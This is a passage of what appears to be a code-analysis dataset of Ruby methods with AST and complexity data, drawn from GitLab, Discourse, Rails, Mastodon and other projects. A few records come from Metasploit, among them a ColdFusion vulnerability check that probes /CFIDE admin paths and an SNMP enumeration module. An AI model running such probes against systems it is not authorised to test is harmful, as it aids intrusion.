[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]}]},{\"type\":\"str\",\"children\":[\"], Hostname or IP address has changed, stopping Refresh Worker.  It will be restarted by the WorkerMonitor.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"stop_refresh_worker_queue\"]}]},null]}]}","id":"4a509b81-aa56-4f78-8f1f-b86dd1335778"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner_tagging.rb","start_line":48,"raw_source":"def no_organization_id\n      return if organization_id.nil?\n\n      errors.add(:organization_id, 'instance_type runners must not have an organization_id')\n    end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"no_organization_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organization_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"organization_id\"]},{\"type\":\"str\",\"children\":[\"instance_type runners must not have an organization_id\"]}]}]}]}","id":"7b47a675-abd1-4aff-bf00-a5ff2aacb853"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/process_runner_version_update_service.rb","start_line":10,"raw_source":"def execute\n        return ServiceResponse.error(message: 'version update disabled') unless enabled?\n        return ServiceResponse.error(message: 'version not present') unless @version\n\n        _, status = upgrade_check_service.check_runner_upgrade_suggestion(@version)\n        return ServiceResponse.error(message: 'upgrade version check failed') if status == :error\n\n        Ci::RunnerVersion.upsert({ version: @version, status: status })\n        ServiceResponse.success(payload: { upgrade_status: status.to_s })\n      end","complexity_score":16.7,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enabled?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"version update disabled\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"version not present\"]}]}]}]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upgrade_check_service\"]},\"check_runner_upgrade_suggestion\",{\"type\":\"ivar\",\"children\":[\"@version\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"upgrade version check failed\"]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"RunnerVersion\"]},\"upsert\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"ivar\",\"children\":[\"@version\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"upgrade_status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"to_s\"]}]}]}]}]}]}]}]}","id":"277a0eb5-18fb-4c40-9c8d-39947135526e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/finder_test.rb","start_line":1150,"raw_source":"def test_last_with_at_least_implict_order_column\n    ordered_edge = Class.new(Edge) do\n      self.implicit_order_column = \"source_id\"\n    end\n    assert_nothing_raised do\n      ordered_edge.all.last\n    end\n  end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_last_with_at_least_implict_order_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ordered_edge\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"Edge\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"implicit_order_column=\",{\"type\":\"str\",\"children\":[\"source_id\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ordered_edge\"]},\"all\"]},\"last\"]}]}]}]}","id":"baa2c580-15da-4a83-9f09-c34d5e51560e"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/supervisor.rb","start_line":543,"raw_source":"def dump_all_windows_workers\n      @monitors.each do |m|\n        m.send_command(\"DUMP\\n\")\n      end\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_all_windows_workers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@monitors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"send_command\",{\"type\":\"str\",\"children\":[\"DUMP\\n\"]}]}]}]}","id":"92e1f47f-0c42-439e-aed1-78bafe4b2ae5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-user-notes/app/controllers/discourse_user_notes/user_notes_controller.rb","start_line":9,"raw_source":"def index\n      user = User.where(id: params[:user_id]).first\n      raise Discourse::NotFound if user.blank?\n\n      notes = DiscourseUserNotes.notes_for(params[:user_id])\n      render json: { extras: { username: user.username }, user_notes: create_json(notes.reverse) }\n    end","complexity_score":18.7,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"notes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DiscourseUserNotes\"]},\"notes_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"extras\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_notes\"]},{\"type\":\"send\",\"children\":[null,\"create_json\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"reverse\"]}]}]}]}]}]}]}]}]}","id":"57973b7b-96b9-49b8-91aa-85d63201153c"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/components/chat/seeder_spec.rb","start_line":13,"raw_source":"def assert_channel_was_correctly_seeded(channel, group, category)\n    expect(channel).to be_present\n    expect(channel.auto_join_users).to eq(true)\n    expect(channel.name).to eq(category.name)\n\n    expect(category.custom_fields[Chat::HAS_CHAT_ENABLED]).to eq(true)\n\n    expected_members_count = GroupUser.where(group: group).count\n    memberships_count =\n      Chat::UserChatChannelMembership.automatic.where(chat_channel: channel, following: true).count\n\n    expect(memberships_count).to eq(expected_members_count)\n  end","complexity_score":32.0,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_channel_was_correctly_seeded\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"channel\"]},{\"type\":\"arg\",\"children\":[\"group\"]},{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"channel\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_present\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"auto_join_users\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"channel\"]},\"name\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"custom_fields\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"HAS_CHAT_ENABLED\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_members_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupUser\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"memberships_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Chat\"]},\"UserChatChannelMembership\"]},\"automatic\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"chat_channel\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"following\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"lvar\",\"children\":[\"memberships_count\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"lvar\",\"children\":[\"expected_members_count\"]}]}]}]}]}","id":"72c0cbea-9a48-490a-8e9d-b48d9b414098"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/group_descendants_finder.rb","start_line":53,"raw_source":"def paginator\n    @paginator ||= Gitlab::MultiCollectionPaginator.new(\n      subgroups,\n      projects,\n      per_page: params[:per_page]\n    )\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"paginator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@paginator\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"MultiCollectionPaginator\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"subgroups\"]},{\"type\":\"send\",\"children\":[null,\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"per_page\"]}]}]}]}]}]}]}","id":"e2645054-bf54-43e2-8bc1-796a0de2b2f4"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/importer.rb","start_line":212,"raw_source":"def to_time(timestamp)\n      Time.zone.at(timestamp) if timestamp\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"to_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"timestamp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timestamp\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"at\",{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},null]}]}","id":"1644d3e9-77ec-428e-90fa-fb969aeb7725"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/stock_transfers_controller.rb","start_line":28,"raw_source":"def permitted_resource_params\n        params.require(:stock_transfer).permit(permitted_stock_transfer_attributes)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"permitted_resource_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"stock_transfer\"]}]},\"permit\",{\"type\":\"send\",\"children\":[null,\"permitted_stock_transfer_attributes\"]}]}]}","id":"7a45712e-b8a0-4112-a4f4-4d647abb8203"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/new_post_manager.rb","start_line":33,"raw_source":"def self.add_handler(priority = 0, &block)\n    sorted_handlers << { priority: priority, proc: block }\n    @sorted_handlers.sort_by! { |h| -h[:priority] }\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"add_handler\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"priority\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sorted_handlers\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"lvar\",\"children\":[\"priority\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"proc\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@sorted_handlers\"]},\"sort_by!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"priority\"]}]},\"-@\"]}]}]}]}","id":"72d90491-f7e6-4cce-be4b-5e55ffcc1bde"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/post_migrate/20210808071221_clear_orphaned_account_notes.rb","start_line":14,"raw_source":"def up\n    AccountNote.where('NOT EXISTS (SELECT * FROM users u WHERE u.account_id = account_notes.account_id)').in_batches.delete_all\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AccountNote\"]},\"where\",{\"type\":\"str\",\"children\":[\"NOT EXISTS (SELECT * FROM users u WHERE u.account_id = account_notes.account_id)\"]}]},\"in_batches\"]},\"delete_all\"]}]}","id":"f22800d8-7192-4da0-87aa-e45d03e0f947"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/snmp/snmp_enum.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SNMP Enumeration Module',\n        'Description' => %q{\n          This module allows enumeration of any devices with SNMP\n          protocol support. It supports hardware, software, and network information.\n          The default community used is \"public\".\n        },\n        'References' => [\n          [ 'URL', 'https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ],\n          [ 'URL', 'https://net-snmp.sourceforge.io/docs/man/snmpwalk.html' ],\n          [ 'URL', 'http://www.nothink.org/codes/snmpcheck/index.php' ],\n          [ 'CVE', '1999-0508' ], # Weak password\n          [ 'CVE', '1999-0517' ],\n          [ 'CVE', '1999-0516' ]\n        ],\n        'Author' => 'Matteo Cantoni <goony[at]nothink.org>',\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SNMP Enumeration Module\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module allows enumeration of any devices with SNMP\\n\"]},{\"type\":\"str\",\"children\":[\"          protocol support. It supports hardware, software, and network information.\\n\"]},{\"type\":\"str\",\"children\":[\"          The default community used is \\\"public\\\".\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://en.wikipedia.org/wiki/Simple_Network_Management_Protocol\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://net-snmp.sourceforge.io/docs/man/snmpwalk.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.nothink.org/codes/snmpcheck/index.php\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0508\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0517\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0516\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"str\",\"children\":[\"Matteo Cantoni <goony[at]nothink.org>\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"99cd0d68-bd49-4d1e-886b-6c83ec6da1f1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/coldfusion_pwd_props.rb","start_line":123,"raw_source":"def check_cf\n    vuln = false\n    url = '/CFIDE/adminapi/customtags/l10n.cfm'\n    res = send_request_cgi({\n      'uri' => url,\n      'method' => 'GET',\n      'Connection' => \"keep-alive\",\n      'Accept-Encoding' => \"zip,deflate\",\n    })\n\n    if (res != nil)\n      # can't stack b/c res.code won't exist if res is nil\n      vuln = true if (res.code == 500 and res.body =~ /attributes\\.id was not provided/)\n    end\n\n    if (vuln)\n      url = '/CFIDE/administrator/mail/download.cfm'\n      res = send_request_cgi({\n        'uri' => url,\n        'method' => 'GET',\n        'Connection' => \"keep-alive\",\n        'Accept-Encoding' => \"zip,deflate\",\n      })\n      if (res != nil)\n        vuln = false if (res.code != 200)\n      end\n    end\n\n    return vuln\n  end","complexity_score":26.43,"ast_json":"{\"type\":\"def\",\"children\":[\"check_cf\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"str\",\"children\":[\"/CFIDE/adminapi/customtags/l10n.cfm\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"keep-alive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"zip,deflate\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[500]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"attributes\\\\.id was not provided\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"true\",\"children\":[]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"str\",\"children\":[\"/CFIDE/administrator/mail/download.cfm\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Connection\"]},{\"type\":\"str\",\"children\":[\"keep-alive\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Accept-Encoding\"]},{\"type\":\"str\",\"children\":[\"zip,deflate\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!=\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"!=\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vuln\",{\"type\":\"false\",\"children\":[]}]},null]},null]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vuln\"]}]}]}]}","id":"38fd26e9-21c2-41e3-b363-35e6cede8adb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/runner.rb","start_line":655,"raw_source":"def any_project\n      errors.add(:runner, 'needs to be assigned to at least one project') if runner_projects.empty?\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"any_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runner_projects\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"runner\"]},{\"type\":\"str\",\"children\":[\"needs to be assigned to at least one project\"]}]},null]}]}","id":"3fbf971c-b5d1-402a-915b-2c461828c06d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/nexpose_simple_document.rb","start_line":82,"raw_source":"def report_vulns(host_object)\n      vuln_count = 0\n      block = @block\n      return unless host_object.kind_of? ::Mdm::Host\n      return unless @report_data[:vulns]\n      @report_data[:vulns].each do |vuln|\n        if vuln[:refs]\n          vuln[:refs] << vuln[:name]\n        else\n          vuln[:refs] = [vuln[:name]]\n        end\n        vuln[:refs].uniq!\n        data = {\n          :workspace => host_object.workspace,\n          :host => host_object,\n          :name => vuln[:name],\n          :info => vuln[:info],\n          :refs => vuln[:refs]\n        }\n        if vuln[:port] && vuln[:proto]\n          data[:port] = vuln[:port]\n          data[:proto] = vuln[:proto]\n        end\n        db_report(:vuln,data)\n      end\n\n    end","complexity_score":38.9,"ast_json":"{\"type\":\"def\",\"children\":[\"report_vulns\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"host_object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vuln_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"ivar\",\"children\":[\"@block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_object\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Mdm\"]},\"Host\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulns\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@report_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"vulns\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vuln\"]}